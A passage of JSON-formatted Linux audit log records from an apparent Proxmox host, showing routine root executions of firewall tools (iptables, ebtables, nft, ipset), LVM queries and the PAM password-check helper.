suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155932,"@rawstring":"node=pve type=PATH msg=audit(1781966155.932:68687): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965402.884:65453): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655947,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.947:61989): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155932,"@rawstring":"node=pve type=PATH msg=audit(1781966155.932:68687): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965402.884:65452): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.941:61988): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155925,"@rawstring":"node=pve type=PATH msg=audit(1781966155.925:68686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965402.875:65451): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655934,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.934:61987): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155925,"@rawstring":"node=pve type=PATH msg=audit(1781966155.925:68686): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965402.875:65450): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.930:61986): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0d96c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155918,"@rawstring":"node=pve type=PATH msg=audit(1781966155.918:68685): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965402.875:65449): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.922:61985): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155918,"@rawstring":"node=pve type=PATH msg=audit(1781966155.918:68685): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965397.864:65448): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.915:61984): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eb320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155910,"@rawstring":"node=pve type=PATH msg=audit(1781966155.910:68684): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965397.864:65447): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.172:61983): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155910,"@rawstring":"node=pve type=PATH msg=audit(1781966155.910:68684): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965397.864:65446): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.164:61980): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155902,"@rawstring":"node=pve type=PATH msg=audit(1781966155.902:68683): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965397.858:65445): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964654463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964654.463:61977): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b3080 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59460 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155902,"@rawstring":"node=pve type=PATH msg=audit(1781966155.902:68683): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965397.858:65444): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964654421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964654.421:61976): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5290 a1=64f8d73c2970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155896,"@rawstring":"node=pve type=PATH msg=audit(1781966155.896:68681): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965397.858:65443): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964653007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964653.007:61974): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=73a97e9ebda6 a2=80000 a3=0 items=1 ppid=1215 pid=59458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966155896,"@rawstring":"node=pve type=PATH msg=audit(1781966155.896:68681): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.194:65442): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964653004,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964653.004:61973): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966155889,"@rawstring":"node=pve type=PATH msg=audit(1781966155.889:68680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.191:65441): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964652970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964652.970:61972): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=73057eab7da6 a2=80000 a3=0 items=1 ppid=1215 pid=59457 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966155889,"@rawstring":"node=pve type=PATH msg=audit(1781966155.889:68680): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.190:65440): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964652967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964652.967:61971): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59457 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966155884,"@rawstring":"node=pve type=PATH msg=audit(1781966155.884:68679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.190:65439): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964650157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964650.157:61970): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155884,"@rawstring":"node=pve type=PATH msg=audit(1781966155.884:68679): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.186:65438): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964650149,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964650.149:61967): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155877,"@rawstring":"node=pve type=PATH msg=audit(1781966155.877:68678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.177:65437): proctitle=\"ip6tables-save\""} {"@timestamp":1781964648958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964648.958:61963): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=79e86592ada6 a2=80000 a3=0 items=1 ppid=1214 pid=59454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966155877,"@rawstring":"node=pve type=PATH msg=audit(1781966155.877:68678): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.171:65436): proctitle=\"iptables-save\""} {"@timestamp":1781964648955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964648.955:61962): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1214 pid=59454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966155871,"@rawstring":"node=pve type=PATH msg=audit(1781966155.871:68677): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.165:65435): proctitle=\"ip6tables-save\""} {"@timestamp":1781964648917,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964648.917:61961): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=746179511da6 a2=80000 a3=0 items=1 ppid=1214 pid=59453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966155871,"@rawstring":"node=pve type=PATH msg=audit(1781966155.871:68677): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.157:65434): proctitle=\"iptables-save\""} {"@timestamp":1781964648913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964648.913:61960): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1214 pid=59453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966155867,"@rawstring":"node=pve type=PATH msg=audit(1781966155.867:68676): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.154:65433): proctitle=\"ebtables-restore\""} {"@timestamp":1781964648808,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964648.808:61958): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7612c8b98da6 a2=80000 a3=0 items=1 ppid=1215 pid=59452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966155867,"@rawstring":"node=pve type=PATH msg=audit(1781966155.867:68676): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.151:65432): proctitle=\"ebtables-restore\""} {"@timestamp":1781964648806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964648.806:61957): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966155859,"@rawstring":"node=pve type=PATH msg=audit(1781966155.859:68675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.147:65431): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964648762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964648.762:61956): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7dbada281da6 a2=80000 a3=0 items=1 ppid=1215 pid=59451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966155859,"@rawstring":"node=pve type=PATH msg=audit(1781966155.859:68675): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.141:65430): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964648758,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964648.758:61955): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966155852,"@rawstring":"node=pve type=PATH msg=audit(1781966155.852:68674): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.135:65429): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964645904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.904:61954): arch=c000003e syscall=59 success=yes exit=0 a0=6345ddc2bd30 a1=6345ddc37bc0 a2=6345ddc05680 a3=5 items=2 ppid=59444 pid=59450 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155852,"@rawstring":"node=pve type=PATH msg=audit(1781966155.852:68674): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395131,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.131:65428): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964645902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.902:61953): arch=c000003e syscall=59 success=yes exit=0 a0=6345cf9c1ac8 a1=7ffce791eda0 a2=6345ddc05680 a3=6345cf9a524e items=2 ppid=59444 pid=59446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155848,"@rawstring":"node=pve type=PATH msg=audit(1781966155.848:68673): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.125:65427): proctitle=697073657400726573746F7265"} {"@timestamp":1781964645900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.900:61952): arch=c000003e syscall=59 success=yes exit=0 a0=7ffce791ed60 a1=6345ddc273d0 a2=6345ddc05680 a3=5 items=2 ppid=59444 pid=59445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155848,"@rawstring":"node=pve type=PATH msg=audit(1781966155.848:68673): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.117:65426): proctitle=\"ip6tables-save\""} {"@timestamp":1781964645896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.896:61950): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59444 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155845,"@rawstring":"node=pve type=PATH msg=audit(1781966155.845:68672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395111,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.111:65425): proctitle=\"iptables-save\""} {"@timestamp":1781964645890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.890:61949): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155845,"@rawstring":"node=pve type=PATH msg=audit(1781966155.845:68672): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.107:65424): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964645884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.884:61948): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 